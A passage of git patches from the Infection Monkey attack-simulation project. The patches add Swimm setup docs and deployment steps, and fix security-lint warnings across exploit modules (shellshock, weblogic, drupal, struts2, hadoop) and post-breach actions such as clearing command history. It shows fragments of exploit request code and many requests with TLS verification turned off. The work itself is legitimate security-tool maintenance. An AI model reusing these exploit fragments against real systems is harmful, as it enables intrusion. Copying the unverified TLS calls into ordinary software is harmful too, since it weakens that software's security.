@@ -31,3 +31,9 @@ Pre-commit is a multi-language package manager for pre-commit hooks. It will run Our CI system runs the same checks when pull requests are submitted. This system may report that the build has failed if the pre-commit hooks have not been run or all issues have not been resolved. To install and configure pre-commit, run `pip install --user pre-commit`. Next, go to the top level directory of this repository and run `pre-commit install -t pre-commit -t pre-push`. Pre-commit will now run automatically whenever you `git commit`. + +## Swimm + +Infection Monkey has development tutorials that use [`swimm.io`](https://swimm.io/) to help teach new developers how to perform common code tasks in the Infection Monkey codebase and accelerate the ramp-up process. The tutorials include adding new configuration values, new system info collectors and more. + +In order to pass the pre-commit checks, you'll have to [install Swimm successfully](../swimm). From 60f776fef945e65a780b0f4487dd4b3c309e629a Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 26 Apr 2021 19:00:40 +0530 Subject: [PATCH 0294/1360] Add Swimm details to deployment guide (deployment_scripts/README.md) --- deployment_scripts/README.md | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/deployment_scripts/README.md b/deployment_scripts/README.md index 7f4e414bd3b..aed00ae5822 100644 --- a/deployment_scripts/README.md +++ b/deployment_scripts/README.md @@ -85,3 +85,9 @@ been run or all issues have not been resolved. To install and configure pre-commit manually, run `pip install --user pre-commit`. Next, go to the top level directory of this repository and run `pre-commit install -t pre-commit -t pre-push` Now, pre-commit will automatically run whenever you `git commit`. + +## Swimm + +Infection Monkey has development tutorials that use [`swimm.io`](https://swimm.io/) to help teach new developers how to perform common code tasks in the Infection Monkey codebase and accelerate the ramp-up process. The tutorials include adding new configuration values, new system info collectors and more. + +In order to pass the pre-commit checks, you'll have to [install Swimm successfully](https://www.guardicore.com/infectionmonkey/docs/development/swimm/). Both the Linux and Windows deployment scrips will install [Swimm](https://swimm.io/), but you'll have to sign up [here](https://swimm.io/sign-beta) to complete the process. From ba3317b252bbc5ac714e1d7ef1a67ade78873332 Mon Sep 17 00:00:00 2001 From: shreyamalviya Date: Tue, 27 Apr 2021 17:50:38 +0530 Subject: [PATCH 0295/1360] Set environment variable SKIP=swimm-verify in Windows deployment script so pre-commit skips swimm-verify --- deployment_scripts/deploy_windows.ps1 | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/deployment_scripts/deploy_windows.ps1 b/deployment_scripts/deploy_windows.ps1 index 82c7985123a..3e10c365b4c 100644 --- a/deployment_scripts/deploy_windows.ps1 +++ b/deployment_scripts/deploy_windows.ps1 @@ -23,6 +23,10 @@ function Configure-precommit([String] $git_repo_dir) exit } Pop-Location + + # Set env variable to skip Swimm verification during pre-commit, Windows not supported yet + [System.Environment]::SetEnvironmentVariable('SKIP','swimm-verify',[System.EnvironmentVariableTarget]::User) + Write-Output "Pre-commit successfully installed" } @@ -273,6 +277,7 @@ function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName, $webClient.DownloadFile($SWIMM_URL, $swimm_filename) Start-Process $swimm_filename + "Script finished" } From 05dd10cd96aa9b48afaaeb297b23fb5905aeae9c Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 27 Apr 2021 23:31:51 +0530 Subject: [PATCH 0296/1360] Modify Swimm details in dev env setup docs --- docs/content/development/setup-development-environment.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/content/development/setup-development-environment.md b/docs/content/development/setup-development-environment.md index 097e5713de0..ad9a4675b4b 100644 --- a/docs/content/development/setup-development-environment.md +++ b/docs/content/development/setup-development-environment.md @@ -36,4 +36,4 @@ To install and configure pre-commit, run `pip install --user pre-commit`. Next, Infection Monkey has development tutorials that use [`swimm.io`](https://swimm.io/) to help teach new developers how to perform common code tasks in the Infection Monkey codebase and accelerate the ramp-up process. The tutorials include adding new configuration values, new system info collectors and more. -In order to pass the pre-commit checks, you'll have to [install Swimm successfully](../swimm). +In order to pass the pre-commit checks, you'll have to [install Swimm successfully](https://www.guardicore.com/infectionmonkey/docs/development/swimm/). Both the Linux and Windows deployment scrips will install [Swimm](https://swimm.io/), but you'll have to sign up [here](https://swimm.io/sign-beta) to complete the process. From 9383457518f2fe882054e40cf518f8829fcf7cc3 Mon Sep 17 00:00:00 2001 From: shreyamalviya Date: Wed, 28 Apr 2021 13:32:30 +0530 Subject: [PATCH 0297/1360] Modify Windows deployment script to check $env:SKIP before adding swimm-verify to it --- deployment_scripts/deploy_windows.ps1 | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/deployment_scripts/deploy_windows.ps1 b/deployment_scripts/deploy_windows.ps1 index 3e10c365b4c..46f2fb0f448 100644 --- a/deployment_scripts/deploy_windows.ps1 +++ b/deployment_scripts/deploy_windows.ps1 @@ -25,7 +25,15 @@ function Configure-precommit([String] $git_repo_dir) Pop-Location # Set env variable to skip Swimm verification during pre-commit, Windows not supported yet - [System.Environment]::SetEnvironmentVariable('SKIP','swimm-verify',[System.EnvironmentVariableTarget]::User) + $skipValue = [System.Environment]::GetEnvironmentVariable('SKIP', [System.EnvironmentVariableTarget]::User) + if ($skipValue) { # if `SKIP` is not empty + if (-Not ($skipValue -split ',' -contains 'swimm-verify')) { # if `SKIP` doesn't already have "swimm-verify" + [System.Environment]::SetEnvironmentVariable('SKIP', $env:SKIP + ',swimm-verify', [System.EnvironmentVariableTarget]::User) + } + } + else { + [System.Environment]::SetEnvironmentVariable('SKIP', 'swimm-verify', [System.EnvironmentVariableTarget]::User) + } Write-Output "Pre-commit successfully installed" } From 7c34288f1b06bb225fb1bf182e1f27c9a9ab6afe Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 28 Apr 2021 07:00:57 -0400 Subject: [PATCH 0298/1360] deployment: Remove swimm debian package after it is installed --- deployment_scripts/deploy_linux.sh | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/deployment_scripts/deploy_linux.sh b/deployment_scripts/deploy_linux.sh index e5d798878ff..0aa018534ba 100755 --- a/deployment_scripts/deploy_linux.sh +++ b/deployment_scripts/deploy_linux.sh @@ -240,13 +240,16 @@ else fi # Download Swimm +log_message "Downloading swimm" if exists wget; then wget ${SWIMM_URL} -O $HOME/swimm else curl ${SWIMM_URL} -o $HOME/swimm fi + +log_message "Installing swimm" sudo dpkg -i $HOME/swimm || (sudo apt-get update && sudo apt-get -f install) -sudo chmod +x $HOME/swimm +rm $HOME/swimm sudo chmod +x "${INFECTION_MONKEY_DIR}/build_linux.sh" From 57b61180ced7309b6b746f13035847cb6e24d6cb Mon Sep 17 00:00:00 2001 From: Shreya Date: Wed, 21 Apr 2021 18:22:24 +0530 Subject: [PATCH 0299/1360] Add dlint as an additional dependency for the flake8 pre-commit hook --- .pre-commit-config.yaml | 1 + 1 file changed, 1 insertion(+) diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml index eab23793cf5..af30837fe4e 100644 --- a/.pre-commit-config.yaml +++ b/.pre-commit-config.yaml @@ -19,6 +19,7 @@ repos: rev: 3.9.1 hooks: - id: flake8 + additional_dependencies: [dlint] - repo: https://github.com/pre-commit/pre-commit-hooks rev: v3.4.0 hooks: From d8c1bf5cbe57aa7da6614bcfc88985a286ac056a Mon Sep 17 00:00:00 2001 From: Shreya Date: Wed, 21 Apr 2021 18:37:40 +0530 Subject: [PATCH 0300/1360] Add dlint to Pipfile --- monkey/monkey_island/Pipfile | 1 + monkey/monkey_island/Pipfile.lock | 13 ++++++++++--- 2 files changed, 11 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/Pipfile b/monkey/monkey_island/Pipfile index 46c36c7deae..70c0f304ccf 100644 --- a/monkey/monkey_island/Pipfile +++ b/monkey/monkey_island/Pipfile @@ -36,6 +36,7 @@ mongomock = "==3.19.0" pytest = ">=5.4" requests-mock = "==1.8.0" black = "==20.8b1" +dlint = "==0.11.0" flake8 = "==3.9.0" pytest-cov = "*" isort = "==5.8.0" diff --git a/monkey/monkey_island/Pipfile.lock b/monkey/monkey_island/Pipfile.lock index 704ef3bc923..55f5e4502ad 100644 --- a/monkey/monkey_island/Pipfile.lock +++ b/monkey/monkey_island/Pipfile.lock @@ -1,7 +1,7 @@ { "_meta": { "hash": { - "sha256": "9d575bcb35dba0389e8a68dd285f9ed7015fbcc4a42cffff5301777497337616" + "sha256": "4fdfe90af14139cf855a0363ad0acbe7fb307b35b038e2c099c4d1227322a13b" }, "pipfile-spec": 6, "requires": { @@ -171,7 +171,7 @@ "sha256:7d73d2a99753107a36ac6b455ee49046802e59d9d076ef8e47b61499fa29afff", "sha256:e96da0d330793e2cb9485e9ddfd918d456036c7149416295932478192f4436a1" ], - "markers": "python_version != '3.4' and sys_platform == 'win32'", + "markers": "python_version != '3.4'", "version": "==0.4.3" }, "coloredlogs": { @@ -1076,7 +1076,7 @@ "sha256:7d73d2a99753107a36ac6b455ee49046802e59d9d076ef8e47b61499fa29afff", "sha256:e96da0d330793e2cb9485e9ddfd918d456036c7149416295932478192f4436a1" ], - "markers": "python_version != '3.4' and sys_platform == 'win32'", + "markers": "python_version != '3.4'", "version": "==0.4.3" }, "coverage": { @@ -1144,6 +1144,13 @@ ], "version": "==0.3.1" }, + "dlint": { + "hashes": [ + "sha256:e7297325f57e6b5318d88fba2497f9fea6830458cd5aecb36150856db010f409" + ], + "index": "pypi", + "version": "==0.11.0" + }, "filelock": { "hashes": [ "sha256:18d82244ee114f543149c66a6e0c14e9c4f8a1044b5cdaadd0f82159d6a6ff59", From a3fa4663cb795cebbe1a978bf11ac88ae1388026 Mon Sep 17 00:00:00 2001 From: Shreya Date: Wed, 21 Apr 2021 19:11:13 +0530 Subject: [PATCH 0301/1360] Fix DUO102 warnings Added comments to ignore some because: "Python uses the Mersenne Twister as the core generator. However, being completely deterministic, it is not suitable for all purposes, and is completely unsuitable for cryptographic purposes. Because the generator is deterministic this means attackers can predict future values given a sufficient amount of previous values. Normal random use is acceptable if the relevant code is not used for security or cryptographic purposes." --- monkey/infection_monkey/exploit/hadoop.py | 5 +++-- monkey/infection_monkey/exploit/shellshock.py | 5 +++-- monkey/infection_monkey/network/info.py | 2 +- monkey/infection_monkey/network/tcp_scanner.py | 2 +- .../post_breach/actions/communicate_as_new_user.py | 4 ++-- 5 files changed, 10 insertions(+), 8 deletions(-) diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index a30112ccece..7a0264380b8 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -7,8 +7,8 @@ import json import logging import posixpath -import random import string +from random import SystemRandom import requests @@ -69,8 +69,9 @@ def exploit(self, url, command): resp = json.loads(resp.content) app_id = resp["application-id"] # Create a random name for our application in YARN + safe_random = SystemRandom() rand_name = ID_STRING + "".join( - [random.choice(string.ascii_lowercase) for _ in range(self.RAN_STR_LEN)] + [safe_random.choice(string.ascii_lowercase) for _ in range(self.RAN_STR_LEN)] ) payload = self.build_payload(app_id, rand_name, command) resp = requests.post( diff --git a/monkey/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py index 7854483a0db..f83eb9a152d 100644 --- a/monkey/infection_monkey/exploit/shellshock.py +++ b/monkey/infection_monkey/exploit/shellshock.py @@ -3,7 +3,7 @@ import logging import string -from random import choice +from random import SystemRandom import requests @@ -37,8 +37,9 @@ class ShellShockExploiter(HostExploiter): def __init__(self, host): super(ShellShockExploiter, self).__init__(host) self.HTTP = [str(port) for port in self._config.HTTP_PORTS] + safe_random = SystemRandom() self.success_flag = "".join( - choice(string.ascii_uppercase + string.digits) for _ in range(20) + safe_random.choice(string.ascii_uppercase + string.digits) for _ in range(20) ) self.skip_exist = self._config.skip_exploit_if_file_exist diff --git a/monkey/infection_monkey/network/info.py b/monkey/infection_monkey/network/info.py index c30f3d43628..5ada2e29fc9 100644 --- a/monkey/infection_monkey/network/info.py +++ b/monkey/infection_monkey/network/info.py @@ -1,7 +1,7 @@ import itertools import socket import struct -from random import randint +from random import randint # noqa: DUO102 from subprocess import check_output import netifaces diff --git a/monkey/infection_monkey/network/tcp_scanner.py b/monkey/infection_monkey/network/tcp_scanner.py index 1260a590d9a..93e30ccade3 100644 --- a/monkey/infection_monkey/network/tcp_scanner.py +++ b/monkey/infection_monkey/network/tcp_scanner.py @@ -1,5 +1,5 @@ from itertools import zip_longest -from random import shuffle +from random import shuffle # noqa: DUO102 import infection_monkey.config from infection_monkey.network.HostFinger import HostFinger diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py index ecbebd4d0c7..d82b412d30c 100644 --- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py +++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py @@ -52,8 +52,8 @@ def run(self): @staticmethod def get_random_new_user_name(): return USERNAME_PREFIX + "".join( - random.choice(string.ascii_lowercase) for _ in range(5) - ) # noqa: DUO102 + random.choice(string.ascii_lowercase) for _ in range(5) # noqa: DUO102 + ) @staticmethod def get_commandline_for_http_request(url, is_windows=is_windows_os()): From af381e062ff3d5f06a5fbbe80c4395a652a28178 Mon Sep 17 00:00:00 2001 From: Shreya Date: Wed, 21 Apr 2021 19:30:32 +0530 Subject: [PATCH 0302/1360] Fix DUO106 warnings (Introduces a DUO116 warning) --- monkey/infection_monkey/utils/linux/users.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/monkey/infection_monkey/utils/linux/users.py b/monkey/infection_monkey/utils/linux/users.py index fa91fced811..112de0655d6 100644 --- a/monkey/infection_monkey/utils/linux/users.py +++ b/monkey/infection_monkey/utils/linux/users.py @@ -1,6 +1,5 @@ import datetime import logging -import os import subprocess from infection_monkey.utils.auto_new_user import AutoNewUser @@ -54,7 +53,7 @@ def run_as(self, command): command_as_new_user = "sudo -u {username} {command}".format( username=self.username, command=command ) - return os.system(command_as_new_user) + return subprocess.call(command_as_new_user, shell=True) def __exit__(self, exc_type, exc_val, exc_tb): # delete the user. From b0be14193d556fab3b1158e64b9bcda051a572a6 Mon Sep 17 00:00:00 2001 From: Shreya Date: Thu, 22 Apr 2021 16:04:25 +0530 Subject: [PATCH 0303/1360] Fix DUO122 warnings --- monkey/infection_monkey/exploit/struts2.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/struts2.py b/monkey/infection_monkey/exploit/struts2.py index ff5b9887b05..f29f6acacc5 100644 --- a/monkey/infection_monkey/exploit/struts2.py +++ b/monkey/infection_monkey/exploit/struts2.py @@ -52,7 +52,7 @@ def get_redirected(url): request = urllib.request.Request(url, headers=headers) try: return urllib.request.urlopen( - request, context=ssl._create_unverified_context() + request, context=ssl._create_unverified_context() # noqa: DUO122 ).geturl() except urllib.error.URLError: LOG.error("Can't reach struts2 server") From c0fdc9561f22b6350b03e1775a4969d554ebb98b Mon Sep 17 00:00:00 2001 From: Shreya Date: Thu, 22 Apr 2021 16:39:19 +0530 Subject: [PATCH 0304/1360] Fix DUO123 warnings --- .../island_client/monkey_island_requests.py | 22 ++++---- monkey/infection_monkey/control.py | 54 +++++++++---------- monkey/infection_monkey/exploit/drupal.py | 12 ++--- monkey/infection_monkey/exploit/shellshock.py | 4 +- monkey/infection_monkey/exploit/weblogic.py | 8 +-- monkey/infection_monkey/transport/http.py | 2 +- .../cc/server_utils/bootloader_server.py | 4 +- 7 files changed, 52 insertions(+), 54 deletions(-) diff --git a/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py b/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py index 4575f465e64..fcea862e209 100644 --- a/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py +++ b/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py @@ -66,8 +66,8 @@ def request_function_wrapper(self, *args, **kwargs): return request_function_wrapper def get_jwt_from_server(self): - resp = requests.post( - self.addr + "api/auth", # noqa: DUO123 + resp = requests.post( # noqa: DUO123 + self.addr + "api/auth", json={"username": NO_AUTH_CREDS, "password": NO_AUTH_CREDS}, verify=False, ) @@ -75,8 +75,8 @@ def get_jwt_from_server(self): @_Decorators.refresh_jwt_token def get(self, url, data=None): - return requests.get( - self.addr + url, # noqa: DUO123 + return requests.get( # noqa: DUO123 + self.addr + url, headers=self.get_jwt_header(), params=data, verify=False, @@ -84,25 +84,25 @@ def get(self, url, data=None): @_Decorators.refresh_jwt_token def post(self, url, data): - return requests.post( - self.addr + url, data=data, headers=self.get_jwt_header(), verify=False # noqa: DUO123 + return requests.post( # noqa: DUO123 + self.addr + url, data=data, headers=self.get_jwt_header(), verify=False ) @_Decorators.refresh_jwt_token def post_json(self, url, data: Dict): - return requests.post( - self.addr + url, json=data, headers=self.get_jwt_header(), verify=False # noqa: DUO123 + return requests.post( # noqa: DUO123 + self.addr + url, json=data, headers=self.get_jwt_header(), verify=False ) @_Decorators.refresh_jwt_token def patch(self, url, data: Dict): - return requests.patch( - self.addr + url, data=data, headers=self.get_jwt_header(), verify=False # noqa: DUO123 + return requests.patch( # noqa: DUO123 + self.addr + url, data=data, headers=self.get_jwt_header(), verify=False ) @_Decorators.refresh_jwt_token def delete(self, url): - return requests.delete( # noqa: DOU123 + return requests.delete( # noqa: DUO123 self.addr + url, headers=self.get_jwt_header(), verify=False ) diff --git a/monkey/infection_monkey/control.py b/monkey/infection_monkey/control.py index 0df989d99f5..6fdd585b274 100644 --- a/monkey/infection_monkey/control.py +++ b/monkey/infection_monkey/control.py @@ -64,8 +64,8 @@ def wakeup(parent=None, has_internet_access=None): if ControlClient.proxies: monkey["tunnel"] = ControlClient.proxies.get("https") - requests.post( - "https://%s/api/monkey" % (WormConfiguration.current_server,), # noqa: DUO123 + requests.post( # noqa: DUO123 + "https://%s/api/monkey" % (WormConfiguration.current_server,), data=json.dumps(monkey), headers={"content-type": "application/json"}, verify=False, @@ -92,8 +92,8 @@ def find_server(default_tunnel=None): if ControlClient.proxies: debug_message += " through proxies: %s" % ControlClient.proxies LOG.debug(debug_message) - requests.get( - f"https://{server}/api?action=is-up", # noqa: DUO123 + requests.get( # noqa: DUO123 + f"https://{server}/api?action=is-up", verify=False, proxies=ControlClient.proxies, timeout=TIMEOUT_IN_SECONDS, @@ -130,9 +130,8 @@ def keepalive(): monkey = {} if ControlClient.proxies: monkey["tunnel"] = ControlClient.proxies.get("https") - requests.patch( - "https://%s/api/monkey/%s" - % (WormConfiguration.current_server, GUID), # noqa: DUO123 + requests.patch( # noqa: DUO123 + "https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID), data=json.dumps(monkey), headers={"content-type": "application/json"}, verify=False, @@ -155,8 +154,8 @@ def send_telemetry(telem_category, json_data: str): return try: telemetry = {"monkey_guid": GUID, "telem_category": telem_category, "data": json_data} - requests.post( - "https://%s/api/telemetry" % (WormConfiguration.current_server,), # noqa: DUO123 + requests.post( # noqa: DUO123 + "https://%s/api/telemetry" % (WormConfiguration.current_server,), data=json.dumps(telemetry), headers={"content-type": "application/json"}, verify=False, @@ -174,8 +173,8 @@ def send_log(log): return try: telemetry = {"monkey_guid": GUID, "log": json.dumps(log)} - requests.post( - "https://%s/api/log" % (WormConfiguration.current_server,), # noqa: DUO123 + requests.post( # noqa: DUO123 + "https://%s/api/log" % (WormConfiguration.current_server,), data=json.dumps(telemetry), headers={"content-type": "application/json"}, verify=False, @@ -192,9 +191,8 @@ def load_control_config(): if not WormConfiguration.current_server: return try: - reply = requests.get( - "https://%s/api/monkey/%s" - % (WormConfiguration.current_server, GUID), # noqa: DUO123 + reply = requests.get( # noqa: DUO123 + "https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID), verify=False, proxies=ControlClient.proxies, timeout=MEDIUM_REQUEST_TIMEOUT, @@ -230,9 +228,8 @@ def send_config_error(): if not WormConfiguration.current_server: return try: - requests.patch( - "https://%s/api/monkey/%s" - % (WormConfiguration.current_server, GUID), # noqa: DUO123 + requests.patch( # noqa: DUO123 + "https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID), data=json.dumps({"config_error": True}), headers={"content-type": "application/json"}, verify=False, @@ -292,9 +289,9 @@ def download_monkey_exe_by_filename(filename, size): if (monkeyfs.isfile(dest_file)) and (size == monkeyfs.getsize(dest_file)): return dest_file else: - download = requests.get( + download = requests.get( # noqa: DUO123 "https://%s/api/monkey/download/%s" - % (WormConfiguration.current_server, filename), # noqa: DUO123 + % (WormConfiguration.current_server, filename), verify=False, proxies=ControlClient.proxies, timeout=MEDIUM_REQUEST_TIMEOUT, @@ -322,9 +319,8 @@ def get_monkey_exe_filename_and_size_by_host_dict(host_dict): if not WormConfiguration.current_server: return None, None try: - reply = requests.post( - "https://%s/api/monkey/download" - % (WormConfiguration.current_server,), # noqa: DUO123 + reply = requests.post( # noqa: DUO123 + "https://%s/api/monkey/download" % (WormConfiguration.current_server,), data=json.dumps(host_dict), headers={"content-type": "application/json"}, verify=False, @@ -370,8 +366,8 @@ def create_control_tunnel(): @staticmethod def get_pba_file(filename): try: - return requests.get( - PBA_FILE_DOWNLOAD % (WormConfiguration.current_server, filename), # noqa: DUO123 + return requests.get( # noqa: DUO123 + PBA_FILE_DOWNLOAD % (WormConfiguration.current_server, filename), verify=False, proxies=ControlClient.proxies, timeout=LONG_REQUEST_TIMEOUT, @@ -382,9 +378,9 @@ def get_pba_file(filename): @staticmethod def get_T1216_pba_file(): try: - return requests.get( + return requests.get( # noqa: DUO123 urljoin( - f"https://{WormConfiguration.current_server}/", # noqa: DUO123 + f"https://{WormConfiguration.current_server}/", T1216_PBA_FILE_DOWNLOAD_PATH, ), verify=False, @@ -416,7 +412,9 @@ def can_island_see_port(port): f"https://{WormConfiguration.current_server}/api/monkey_control" f"/check_remote_port/{port}" ) - response = requests.get(url, verify=False, timeout=SHORT_REQUEST_TIMEOUT) + response = requests.get( # noqa: DUO123 + url, verify=False, timeout=SHORT_REQUEST_TIMEOUT + ) response = json.loads(response.content.decode()) return response["status"] == "port_visible" except requests.exceptions.RequestException: @@ -424,7 +422,7 @@ def can_island_see_port(port): @staticmethod def report_start_on_island(): - requests.post( + requests.post( # noqa: DUO123 f"https://{WormConfiguration.current_server}/api/monkey_control/started_on_island", data=json.dumps({"started_on_island": True}), verify=False, diff --git a/monkey/infection_monkey/exploit/drupal.py b/monkey/infection_monkey/exploit/drupal.py index 50594e65621..d1f49432ca5 100644 --- a/monkey/infection_monkey/exploit/drupal.py +++ b/monkey/infection_monkey/exploit/drupal.py @@ -82,8 +82,8 @@ def check_if_exploitable(self, url): """ payload = build_exploitability_check_payload(url) - response = requests.get( - f"{url}?_format=hal_json", # noqa: DUO123 + response = requests.get( # noqa: DUO123 + f"{url}?_format=hal_json", json=payload, headers={"Content-Type": "application/hal+json"}, verify=False, @@ -102,8 +102,8 @@ def exploit(self, url, command): base = remove_port(url) payload = build_cmd_execution_payload(base, cmd) - r = requests.get( - f"{url}?_format=hal_json", # noqa: DUO123 + r = requests.get( # noqa: DUO123 + f"{url}?_format=hal_json", json=payload, headers={"Content-Type": "application/hal+json"}, verify=False, @@ -157,9 +157,9 @@ def find_exploitbale_article_ids(base_url: str, lower: int = 1, upper: int = 100 articles = set() while lower < upper: node_url = urljoin(base_url, str(lower)) - response = requests.get( + response = requests.get( # noqa: DUO123 node_url, verify=False, timeout=LONG_REQUEST_TIMEOUT - ) # noqa: DUO123 + ) if response.status_code == 200: if is_response_cached(response): LOG.info(f"Found a cached article at: {node_url}, skipping") diff --git a/monkey/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py index f83eb9a152d..7bca6b04ba1 100644 --- a/monkey/infection_monkey/exploit/shellshock.py +++ b/monkey/infection_monkey/exploit/shellshock.py @@ -243,9 +243,9 @@ def attack_page(url, header, attack): try: LOG.debug("Header is: %s" % header) LOG.debug("Attack is: %s" % attack) - r = requests.get( + r = requests.get( # noqa: DUO123 url, headers={header: attack}, verify=False, timeout=TIMEOUT - ) # noqa: DUO123 + ) result = r.content.decode() return result except requests.exceptions.RequestException as exc: diff --git a/monkey/infection_monkey/exploit/weblogic.py b/monkey/infection_monkey/exploit/weblogic.py index 01705034610..9b158709f68 100644 --- a/monkey/infection_monkey/exploit/weblogic.py +++ b/monkey/infection_monkey/exploit/weblogic.py @@ -83,9 +83,9 @@ def exploit(self, url, command): else: payload = self.get_exploit_payload("cmd", "/c", command + " 1> NUL 2> NUL") try: - post( + post( # noqa: DUO123 url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT, verify=False - ) # noqa: DUO123 + ) except Exception as e: LOG.error("Connection error: %s" % e) return False @@ -121,9 +121,9 @@ def add_vulnerable_urls(self, urls, stop_checking=False): def check_if_exploitable_weblogic(self, url, httpd): payload = self.get_test_payload(ip=httpd.local_ip, port=httpd.local_port) try: - post( + post( # noqa: DUO123 url, data=payload, headers=HEADERS, timeout=REQUEST_DELAY, verify=False - ) # noqa: DUO123 + ) except exceptions.ReadTimeout: # Our request will not get response thus we get ReadTimeout error pass diff --git a/monkey/infection_monkey/transport/http.py b/monkey/infection_monkey/transport/http.py index e2b3a69daaf..fbddce109cb 100644 --- a/monkey/infection_monkey/transport/http.py +++ b/monkey/infection_monkey/transport/http.py @@ -126,7 +126,7 @@ def do_POST(self): LOG.info("Received bootloader's request: {}".format(post_data)) try: dest_path = self.path - r = requests.post( + r = requests.post( # noqa: DUO123 url=dest_path, data=post_data, verify=False, diff --git a/monkey/monkey_island/cc/server_utils/bootloader_server.py b/monkey/monkey_island/cc/server_utils/bootloader_server.py index 1532f1a8dc9..cc274299162 100644 --- a/monkey/monkey_island/cc/server_utils/bootloader_server.py +++ b/monkey/monkey_island/cc/server_utils/bootloader_server.py @@ -33,9 +33,9 @@ def do_POST(self): # The island server doesn't always have a correct SSL cert installed # (By default it comes with a self signed one), # that's why we're not verifying the cert in this request. - r = requests.post( + r = requests.post( # noqa: DUO123 url=island_server_path, data=post_data, verify=False, timeout=SHORT_REQUEST_TIMEOUT - ) # noqa: DUO123 + ) try: if r.status_code != 200: From 6b467fd20b2578a3f0f0d044ef3af7d5b928ff63 Mon Sep 17 00:00:00 2001 From: Shreya Date: Thu, 22 Apr 2021 19:37:25 +0530 Subject: [PATCH 0305/1360] Fix DUO116 warnings in monkey/infection_monkey/utils/linux/users.py --- monkey/infection_monkey/utils/linux/users.py | 15 ++++++--------- 1 file changed, 6 insertions(+), 9 deletions(-) diff --git a/monkey/infection_monkey/utils/linux/users.py b/monkey/infection_monkey/utils/linux/users.py index 112de0655d6..9bd3c2bf834 100644 --- a/monkey/infection_monkey/utils/linux/users.py +++ b/monkey/infection_monkey/utils/linux/users.py @@ -1,5 +1,6 @@ import datetime import logging +import shlex import subprocess from infection_monkey.utils.auto_new_user import AutoNewUser @@ -42,18 +43,16 @@ def __init__(self, username, password): logger.debug( "Trying to add {} with commands {}".format(self.username, str(commands_to_add_user)) ) - _ = subprocess.check_output( - " ".join(commands_to_add_user), stderr=subprocess.STDOUT, shell=True - ) + _ = subprocess.check_output(commands_to_add_user, stderr=subprocess.STDOUT) def __enter__(self): return self # No initialization/logging on needed in Linux def run_as(self, command): - command_as_new_user = "sudo -u {username} {command}".format( - username=self.username, command=command + command_as_new_user = shlex.split( + "sudo -u {username} {command}".format(username=self.username, command=command) ) - return subprocess.call(command_as_new_user, shell=True) + return subprocess.call(command_as_new_user) def __exit__(self, exc_type, exc_val, exc_tb): # delete the user. @@ -63,6 +62,4 @@ def __exit__(self, exc_type, exc_val, exc_tb): self.username, str(commands_to_delete_user) ) ) - _ = subprocess.check_output( - " ".join(commands_to_delete_user), stderr=subprocess.STDOUT, shell=True - ) + _ = subprocess.check_output(commands_to_delete_user, stderr=subprocess.STDOUT) From 4d88efdd843a02b7b2d255369306f779d4330e74 Mon Sep 17 00:00:00 2001 From: Shreya Date: Sat, 24 Apr 2021 14:04:57 +0530 Subject: [PATCH 0306/1360] Fix DUO116 warnings in post breach actions by ignoring them --- .../post_breach/actions/clear_command_history.py | 4 ++-- .../post_breach/actions/modify_shell_startup_files.py | 4 ++-- .../post_breach/actions/use_signed_scripts.py | 5 ++--- monkey/infection_monkey/post_breach/pba.py | 2 +- .../windows/shell_startup_files_modification.py | 6 ++++-- .../post_breach/signed_script_proxy/signed_script_proxy.py | 4 ++-- monkey/infection_monkey/utils/hidden_files.py | 4 ++-- 7 files changed, 15 insertions(+), 14 deletions(-) diff --git a/monkey/infection_monkey/post_breach/actions/clear_command_history.py b/monkey/infection_monkey/post_breach/actions/clear_command_history.py index 412229ee585..f4aa5ad7b2e 100644 --- a/monkey/infection_monkey/post_breach/actions/clear_command_history.py +++ b/monkey/infection_monkey/post_breach/actions/clear_command_history.py @@ -46,8 +46,8 @@ def __init__(self, linux_cmds): def run(self): if self.command: try: - output = subprocess.check_output( - self.command, stderr=subprocess.STDOUT, shell=True # noqa: DUO116 + output = subprocess.check_output( # noqa: DUO116 + self.command, stderr=subprocess.STDOUT, shell=True ).decode() return output, True except subprocess.CalledProcessError as e: diff --git a/monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py b/monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py index eea61ed2f57..18990ab119f 100644 --- a/monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py +++ b/monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py @@ -58,8 +58,8 @@ def __init__(self, linux_cmds, windows_cmds): def run(self): if self.command: try: - output = subprocess.check_output( - self.command, stderr=subprocess.STDOUT, shell=True # noqa: DUO116 + output = subprocess.check_output( # noqa: DUO116 + self.command, stderr=subprocess.STDOUT, shell=True ).decode() return output, True except subprocess.CalledProcessError as e: diff --git a/monkey/infection_monkey/post_breach/actions/use_signed_scripts.py b/monkey/infection_monkey/post_breach/actions/use_signed_scripts.py index 